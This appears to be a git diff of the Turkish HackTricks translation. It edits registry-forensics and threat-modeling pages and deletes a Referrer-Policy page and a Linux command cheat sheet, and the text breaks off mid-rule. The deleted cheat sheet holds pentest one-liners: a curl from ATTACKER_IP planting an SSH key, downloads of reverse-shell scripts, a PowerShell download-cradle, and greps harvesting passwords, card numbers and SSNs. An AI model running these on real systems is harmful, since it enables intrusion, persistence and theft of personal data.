`RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır; bu, sistemin önyükleme süresini etkileyebilir ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir. ### Shellbags -- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör artık mevcut olmasa bile klasör erişiminin adli kanıtını sağlar. Diğer yollarla belirgin olmayan kullanıcı etkinliğini ortaya çıkardığı için soruşturmalar için değerlidir. +- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör erişiminin adli kanıtını sağlar; bu, klasör artık mevcut olmasa bile geçerlidir. Soruşturmalar için paha biçilmezdir ve diğer yollarla belirgin olmayan kullanıcı etkinliklerini ortaya çıkarır. ### USB Bilgileri ve Adli Analiz -- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, bir bilgisayara hangi cihazların bağlandığını izlemeye yardımcı olabilir ve potansiyel olarak bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir. +- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, hangi cihazların bir bilgisayara bağlandığını izlemeye yardımcı olabilir; bu, bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir. ### Hacim Seri Numarası @@ -59,12 +57,12 @@ ### **Ağ Yapılandırması** -- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**'e bakın. +- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** adresine bakın. - İlk ve son ağ bağlantı zamanları, VPN bağlantıları dahil olmak üzere, **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** altında çeşitli yollarla kaydedilir. ### **Paylaşılan Klasörler** -- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci tarafı önbellekleme (CSC) ayarları çevrimdışı dosya kullanılabilirliğini belirler. +- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci Tarafı Önbellekleme (CSC) ayarları, çevrimdışı dosya erişilebilirliğini belirler. ### **Otomatik Başlatılan Programlar** @@ -72,7 +70,7 @@ ### **Aramalar ve Yazılan Yollar** -- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için kaydedilir. +- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için sırasıyla izlenir. ### **Son Belgeler ve Ofis Dosyaları** @@ -80,7 +78,7 @@ ### **En Son Kullanılan (MRU) Öğeler** -- Son dosya yolları ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır. +- En son dosya yollarını ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır. ### **Kullanıcı Etkinliği Takibi** @@ -93,9 +91,9 @@ ### **USB Cihaz Geçmişi** - **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** ve **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bağlı USB cihazları hakkında zengin detaylar içerir; bunlar arasında üretici, ürün adı ve bağlantı zaman damgaları bulunur. -- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}**'sini arayarak `NTUSER.DAT` hives içinde belirlenebilir. +- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}** için `NTUSER.DAT` hives'ında arama yaparak belirlenebilir. - Son takılı cihaz ve hacim seri numarası, sırasıyla `System\MountedDevices` ve `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` üzerinden izlenebilir. -Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetler, açıklık ve kullanılabilirlik hedefler. +Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetlemektedir; açıklık ve kullanılabilirlik hedeflenmiştir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index b6af17256..4a3de0119 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,8 +1,10 @@ # Tehdit Modelleme +{{#include /banners/hacktricks-training.md}} + ## Tehdit Modelleme -HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Bu kritik siber güvenlik alanını keşfetmeye başlayın; burada bir sistemdeki potansiyel zayıflıkları tanımlıyor, anlıyor ve bunlara karşı stratejiler geliştiriyoruz. Bu konu, gerçek dünya örnekleri, yararlı yazılımlar ve kolay anlaşılır açıklamalarla dolu adım adım bir kılavuz olarak hizmet vermektedir. Hem yeni başlayanlar hem de siber güvenlik savunmalarını güçlendirmek isteyen deneyimli uygulayıcılar için idealdir. +HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Siber güvenliğin bu kritik yönünü keşfetmeye başlayın; burada bir sistemdeki potansiyel zayıflıkları tanımlıyor, anlıyor ve bunlara karşı stratejiler geliştiriyoruz. Bu konu, gerçek dünya örnekleri, yararlı yazılımlar ve anlaşılması kolay açıklamalarla dolu adım adım bir kılavuz olarak hizmet vermektedir. Hem yeni başlayanlar hem de siber güvenlik savunmalarını güçlendirmek isteyen deneyimli uygulayıcılar için idealdir. ### Yaygın Olarak Kullanılan Senaryolar @@ -13,32 +15,32 @@ HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Bu Bir Tehdit Modeli genellikle bir diyagram, resim veya bir uygulamanın planlanan mimarisini veya mevcut yapısını gösteren başka bir görsel illüstrasyon olarak temsil edilir. Bu, bir **veri akış diyagramı** ile benzerlik gösterir, ancak ana fark güvenlik odaklı tasarımında yatmaktadır. -Tehdit modelleri genellikle potansiyel zayıflıkları, riskleri veya engelleri simgeleyen kırmızı ile işaretlenmiş unsurlar içerir. Risk tanımlama sürecini kolaylaştırmak için CIA (Gizlilik, Bütünlük, Erişilebilirlik) üçlüsü kullanılır ve bu, birçok tehdit modelleme metodolojisinin temelini oluşturur; STRIDE en yaygın olanlardan biridir. Ancak, seçilen metodoloji belirli bağlama ve gereksinimlere bağlı olarak değişebilir. +Tehdit modelleri genellikle kırmızı ile işaretlenmiş unsurlar içerir; bu, potansiyel zayıflıkları, riskleri veya engelleri simgeler. Risk tanımlama sürecini kolaylaştırmak için CIA (Gizlilik, Bütünlük, Erişilebilirlik) üçlüsü kullanılır ve bu, birçok tehdit modelleme metodolojisinin temelini oluşturur; STRIDE en yaygın olanlardan biridir. Ancak, seçilen metodoloji belirli bağlama ve gereksinimlere bağlı olarak değişebilir. ### CIA Üçlüsü -CIA Üçlüsü, bilgi güvenliği alanında yaygın olarak tanınan bir modeldir ve Gizlilik, Bütünlük ve Erişilebilirlik anlamına gelir. Bu üç sütun, birçok güvenlik önlemi ve politikasının temelini oluşturur, bunlar arasında tehdit modelleme metodolojileri de bulunmaktadır. +CIA Üçlüsü, bilgi güvenliği alanında yaygın olarak tanınan bir modeldir ve Gizlilik, Bütünlük ve Erişilebilirlik anlamına gelir. Bu üç sütun, birçok güvenlik önlemi ve politikasının temelini oluşturur; bunlar arasında tehdit modelleme metodolojileri de bulunmaktadır. 1. **Gizlilik**: Verilerin veya sistemin yetkisiz kişiler tarafından erişilmemesini sağlamak. Bu, veri ihlallerini önlemek için uygun erişim kontrolleri, şifreleme ve diğer önlemleri gerektiren güvenliğin merkezi bir yönüdür. -2. **Bütünlük**: Verilerin yaşam döngüsü boyunca doğruluğu, tutarlılığı ve güvenilirliği. Bu ilke, verilerin yetkisiz taraflarca değiştirilmediğini veya müdahale edilmediğini garanti eder. Genellikle kontrol toplamları, hashleme ve diğer veri doğrulama yöntemlerini içerir. -3. **Erişilebilirlik**: Bu, verilerin ve hizmetlerin ihtiyaç duyulduğunda yetkili kullanıcılar tarafından erişilebilir olmasını sağlar. Bu genellikle sistemlerin kesintilere rağmen çalışmaya devam etmesi için yedeklilik, hata toleransı ve yüksek erişilebilirlik yapılandırmalarını içerir. +2. **Bütünlük**: Verilerin yaşam döngüsü boyunca doğruluğu, tutarlılığı ve güvenilirliği. Bu ilke, verilerin yetkisiz taraflarca değiştirilmemesini veya müdahale edilmemesini sağlar. Genellikle kontrol toplamları, hashleme ve diğer veri doğrulama yöntemlerini içerir. +3. **Erişilebilirlik**: Bu, verilerin ve hizmetlerin ihtiyaç duyulduğunda yetkili kullanıcılara erişilebilir olmasını sağlar. Bu genellikle sistemlerin kesintilere rağmen çalışmaya devam etmesi için yedeklilik, hata toleransı ve yüksek erişilebilirlik yapılandırmalarını içerir. ### Tehdit Modelleme Metodolojileri 1. **STRIDE**: Microsoft tarafından geliştirilen STRIDE, **Sahtecilik, Manipülasyon, Reddetme, Bilgi Açıklaması, Hizmet Reddi ve Yetki Yükseltme** için bir kısaltmadır. Her kategori bir tehdit türünü temsil eder ve bu metodoloji, potansiyel tehditleri tanımlamak için bir program veya sistemin tasarım aşamasında yaygın olarak kullanılır. -2. **DREAD**: Bu, tanımlanan tehditlerin risk değerlendirmesi için kullanılan başka bir Microsoft metodolojisidir. DREAD, **Zarar Potansiyeli, Yeniden Üretilebilirlik, Sömürülebilirlik, Etkilenen Kullanıcılar ve Keşfedilebilirlik** anlamına gelir. Bu faktörlerin her biri puanlanır ve sonuç, tanımlanan tehditlerin önceliklendirilmesinde kullanılır. +2. **DREAD**: Bu, tanımlanan tehditlerin risk değerlendirmesi için kullanılan başka bir Microsoft metodolojisidir. DREAD, **Zarar potansiyeli, Yeniden üretilebilirlik, Sömürülebilirlik, Etkilenen kullanıcılar ve Keşfedilebilirlik** anlamına gelir. Bu faktörlerin her biri puanlanır ve sonuç, tanımlanan tehditlerin önceliklendirilmesinde kullanılır. 3. **PASTA** (Saldırı Simülasyonu ve Tehdit Analizi Süreci): Bu, yedi adımlı, **risk merkezli** bir metodolojidir. Güvenlik hedeflerini tanımlama ve belirleme, teknik kapsam oluşturma, uygulama ayrıştırma, tehdit analizi, zayıflık analizi ve risk/triage değerlendirmesini içerir. 4. **Trike**: Bu, varlıkları savunmaya odaklanan risk temelli bir metodolojidir. **Risk yönetimi** perspektifinden başlar ve tehditler ile zayıflıkları bu bağlamda inceler. -5. **VAST** (Görsel, Çevik ve Basit Tehdit Modelleme): Bu yaklaşım, daha erişilebilir olmayı hedefler ve Çevik geliştirme ortamlarına entegre olur. Diğer metodolojilerden unsurlar birleştirir ve **tehditlerin görsel temsillerine** odaklanır. -6. **OCTAVE** (Operasyonel Kritik Tehdit, Varlık ve Zayıflık Değerlendirmesi): CERT Koordinasyon Merkezi tarafından geliştirilen bu çerçeve, **belirli sistemler veya yazılımlar yerine kurumsal risk değerlendirmesine** yöneliktir. +5. **VAST** (Görsel, Çevik ve Basit Tehdit modelleme): Bu yaklaşım, daha erişilebilir olmayı hedefler ve Çevik geliştirme ortamlarına entegre olur. Diğer metodolojilerden unsurlar birleştirir ve **tehditlerin görsel temsillerine** odaklanır. +6. **OCTAVE** (Operasyonel Olarak Kritik Tehdit, Varlık ve Zayıflık Değerlendirmesi): CERT Koordinasyon Merkezi tarafından geliştirilen bu çerçeve, **belirli sistemler veya yazılımlar yerine kurumsal risk değerlendirmesine** yöneliktir. ## Araçlar -Tehdit modellerinin oluşturulması ve yönetilmesi konusunda **yardımcı** olabilecek birkaç araç ve yazılım çözümü mevcuttur. İşte dikkate alabileceğiniz bazıları. +Tehdit modellerinin oluşturulması ve yönetilmesi konusunda **yardımcı** olabilecek çeşitli araçlar ve yazılım çözümleri mevcuttur. İşte göz önünde bulundurabileceğiniz birkaç tane. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -Siber güvenlik profesyonelleri için gelişmiş, çok platformlu ve çok özellikli bir GUI web örümceği/gezgini. Spider Suite, saldırı yüzeyi haritalama ve analiz için kullanılabilir. +Siber güvenlik profesyonelleri için gelişmiş, çok özellikli, çok platformlu bir GUI web örümceği/kraker. Spider Suite, saldırı yüzeyi haritalama ve analiz için kullanılabilir. **Kullanım** @@ -80,11 +82,11 @@ Bazen şöyle görünebilir: Varlıklar hakkında biraz açıklama: -- Süreç (Web sunucusu veya web işlevselliği gibi varlık) -- Aktör (Bir Web Sitesi Ziyaretçisi, Kullanıcı veya Yönetici gibi bir kişi) +- Süreç (Web sunucusu veya web işlevi gibi varlık) +- Aktör (Bir Kişi, örneğin bir Web Sitesi Ziyaretçisi, Kullanıcı veya Yöneticisi) - Veri Akış Hattı (Etkileşim Göstergesi) -- Güven Sınırı (Farklı ağ segmentleri veya kapsamlar.) -- Depolama (Verilerin depolandığı yerler, örneğin Veritabanları) +- Güven Sınırı (Farklı ağ segmentleri veya kapsamları.) +- Depolama (Verilerin saklandığı yerler, örneğin Veritabanları) 5. Bir Tehdit Oluşturun (Adım 1) @@ -92,20 +94,22 @@ Varlıklar hakkında biraz açıklama:
-Şimdi tehdidi oluşturabilirsiniz. +Artık tehdidi oluşturabilirsiniz.
-Aktör Tehditleri ile Süreç Tehditleri arasında bir fark olduğunu unutmayın. Eğer bir Aktöre tehdit ekleyecekseniz, yalnızca "Sahtecilik" ve "Reddetme" seçeneklerini seçebileceksiniz. Ancak örneğimizde bir Süreç varlığına tehdit eklediğimiz için tehdit oluşturma kutusunda bunu göreceğiz: +Aktör Tehditleri ile Süreç Tehditleri arasında bir fark olduğunu unutmayın. Eğer bir tehdidi bir Aktöre eklerseniz, yalnızca "Sahtecilik" ve "Reddetme" seçeneklerini seçebilirsiniz. Ancak örneğimizde bir Süreç varlığına tehdit eklediğimiz için tehdit oluşturma kutusunda bunu göreceğiz:
6. Tamam -Artık bitmiş modeliniz şöyle görünmelidir. Ve OWASP Threat Dragon ile basit bir tehdit modeli nasıl oluşturulur. +Artık bitmiş modeliniz şöyle görünmelidir. Ve OWASP Threat Dragon ile basit bir tehdit modeli nasıl oluşturduğunuz budur.
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -Bu, yazılım projelerinin tasarım aşamasında tehditleri bulmaya yardımcı olan Microsoft'tan ücretsiz bir araçtır. STRIDE metodolojisini kullanır ve özellikle Microsoft'un yığını üzerinde geliştirme yapanlar için uygundur. +Bu, yazılım projelerinin tasarım aşamasında tehditleri bulmaya yardımcı olan Microsoft'tan ücretsiz bir araçtır. STRIDE metodolojisini kullanır ve özellikle Microsoft'un yığınında geliştirme yapanlar için uygundur. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/images/cyberhelmets-logo.png b/src/images/cyberhelmets-logo.png index c2c9a957b..f766e953a 100644 Binary files a/src/images/cyberhelmets-logo.png and b/src/images/cyberhelmets-logo.png differ diff --git a/src/interesting-http.md b/src/interesting-http.md deleted file mode 100644 index cac01fadb..000000000 --- a/src/interesting-http.md +++ /dev/null @@ -1,35 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# Referrer başlıkları ve politikası - -Referrer, tarayıcılar tarafından önceki ziyaret edilen sayfayı belirtmek için kullanılan başlıktır. - -## Hassas bilgilerin sızdırılması - -Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde bulunuyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) öneride bulunabiliyorsa, en son GET isteğindeki hassas bilgileri dışarıya aktarabilir. - -## Azaltma - -Tarayıcının hassas bilgilerin diğer web uygulamalarına gönderilmesini **önleyebilecek** bir **Referrer-policy** izlemesini sağlayabilirsiniz: -``` -Referrer-Policy: no-referrer -Referrer-Policy: no-referrer-when-downgrade -Referrer-Policy: origin -Referrer-Policy: origin-when-cross-origin -Referrer-Policy: same-origin -Referrer-Policy: strict-origin -Referrer-Policy: strict-origin-when-cross-origin -Referrer-Policy: unsafe-url -``` -## Karşı Önlem - -Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu gerçekleştirmesi gerekir): -```html - - -``` -## Savunma - -Asla hassas verileri GET parametreleri veya URL'deki yolların içine koymayın. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md deleted file mode 100644 index 3660c5e95..000000000 --- a/src/linux-hardening/useful-linux-commands/README.md +++ /dev/null @@ -1,297 +0,0 @@ -# Kullanışlı Linux Komutları - - -{{#include ../../banners/hacktricks-training.md}} - -## Yaygın Bash -```bash -#Exfiltration using Base64 -base64 -w 0 file - -#Get HexDump without new lines -xxd -p boot12.bin | tr -d '\n' - -#Add public key to authorized keys -curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys - -#Echo without new line and Hex -echo -n -e - -#Count -wc -l #Lines -wc -c #Chars - -#Sort -sort -nr #Sort by number and then reverse -cat file | sort | uniq #Sort and delete duplicates - -#Replace in file -sed -i 's/OLD/NEW/g' path/file #Replace string inside a file - -#Download in RAM -wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py -wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm -curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py - -#Files used by network processes -lsof #Open files belonging to any process -lsof -p 3 #Open files used by the process -lsof -i #Files used by networks processes -lsof -i 4 #Files used by network IPv4 processes -lsof -i 6 #Files used by network IPv6 processes -lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 -lsof +D /lib #Processes using files inside the indicated dir -lsof -i :80 #Files uses by networks processes -fuser -nv tcp 80 - -#Decompress -tar -xvzf /path/to/yourfile.tgz -tar -xvjf /path/to/yourfile.tbz -bzip2 -d /path/to/yourfile.bz2 -tar jxf file.tar.bz2 -gunzip /path/to/yourfile.gz -unzip file.zip -7z -x file.7z -sudo apt-get install xz-utils; unxz file.xz - -#Add new user -useradd -p 'openssl passwd -1 ' hacker - -#Clipboard -xclip -sel c < cat file.txt - -#HTTP servers -python -m SimpleHTTPServer 80 -python3 -m http.server -ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" -php -S $ip:80 - -#Curl -#json data -curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint -#Auth via JWT -curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint - -#Send Email -sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content - -#DD copy hex bin file without first X (28) bytes -dd if=file.bin bs=28 skip=1 of=blob - -#Mount .vhd files (virtual hard drive) -sudo apt-get install libguestfs-tools -guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd - -# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys -ssh-keyscan 10.10.10.101 - -# Openssl -openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server -openssl x509 -in ca.cert.pem -text #Read certificate -openssl genrsa -out newuser.key 2048 #Create new RSA2048 key -openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate -openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate -openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) -# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: -openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 -# Decrypt ssh key -openssl rsa -in key.ssh.enc -out key.ssh -#Decrypt -openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz - -#Count number of instructions executed by a program, need a host based linux (not working in VM) -perf stat -x, -e instructions:u "ls" - -#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 -find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null - -#Reconfigure timezone -sudo dpkg-reconfigure tzdata - -#Search from which package is a binary -apt-file search /usr/bin/file #Needed: apt-get install apt-file - -#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html -echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw - -#Set not removable bit -sudo chattr +i file.txt -sudo chattr -i file.txt #Remove the bit so you can delete it - -# List files inside zip -7z l file.zip -``` -## Windows için Bash -```bash -#Base64 for Windows -echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 - -#Exe compression -upx -9 nc.exe - -#Exe2bat -wine exe2bat.exe nc.exe nc.txt - -#Compile Windows python exploit to exe -pip install pyinstaller -wget -O exploit.py http://www.exploit-db.com/download/31853 -python pyinstaller.py --onefile exploit.py - -#Compile for windows -#sudo apt-get install gcc-mingw-w64-i686 -i686-mingw32msvc-gcc -o executable useradd.c -``` -## Greps -```bash -#Extract emails from file -grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt - -#Extract valid IP addresses -grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt - -#Extract passwords -grep -i "pwd\|passw" file.txt - -#Extract users -grep -i "user\|invalid\|authentication\|login" file.txt - -# Extract hashes -#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) -egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt -#Extract valid MySQL-Old hashes -grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt -#Extract blowfish hashes -grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt -#Extract Joomla hashes -egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt -#Extract VBulletin hashes -egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt -#Extraxt phpBB3-MD5 -egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt -#Extract Wordpress-MD5 -egrep -o '$P$S{31}' *.txt > wordpress-md5.txt -#Extract Drupal 7 -egrep -o '$S$S{52}' *.txt > drupal-7.txt -#Extract old Unix-md5 -egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt -#Extract md5-apr1 -egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt -#Extract sha512crypt, SHA512(Unix) -egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt - -#Extract e-mails from text files -grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt - -#Extract HTTP URLs from text files -grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt -#For extracting HTTPS, FTP and other URL format use -grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt -#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" - -#Extract Floating point numbers -grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt - -# Extract credit card data -#Visa -grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt -#MasterCard -grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt -#American Express -grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt -#Diners Club -grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt -#Discover -grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt -#JCB -grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt -#AMEX -grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt - -# Extract IDs -#Extract Social Security Number (SSN) -grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt -#Extract Indiana Driver License Number -grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt -#Extract US Passport Cards -grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt -#Extract US Passport Number -grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt -#Extract US Phone Numberss -grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt -#Extract ISBN Numbers -egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt -``` -## Bulmak -```bash -# Find SUID set files. -find / -perm /u=s -ls 2>/dev/null - -# Find SGID set files. -find / -perm /g=s -ls 2>/dev/null - -# Found Readable directory and sort by time. (depth = 4) -find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Writable directory and sort by time. (depth = 10) -find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current User and sort by time. (depth = 10) -find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current Group ID and Sort by time. (depth = 10) -find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Newer files and sort by time. (depth = 5) -find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer files only and sort by time. (depth = 5) -find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer directory only and sort by time. (depth = 5) -find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less -``` -## Nmap arama yardımı -```bash -#Nmap scripts ((default or version) and smb)) -nmap --script-help "(default or version) and *smb*" -locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb -nmap --script-help "(default or version) and smb)" -``` -## Bash -```bash -#All bytes inside a file (except 0x20 and 0x00) -for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done -``` -## Iptables -```bash -#Delete curent rules and chains -iptables --flush -iptables --delete-chain - -#allow loopback -iptables -A INPUT -i lo -j ACCEPT -iptables -A OUTPUT -o lo -j ACCEPT - -#drop ICMP -iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP -iptables -A OUTPUT -p icmp -j DROP - -#allow established connections -iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT - -#allow ssh, http, https, dns -iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT -iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT -iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT -iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT -iptables -A OUTPUT -p tcp -m tcp 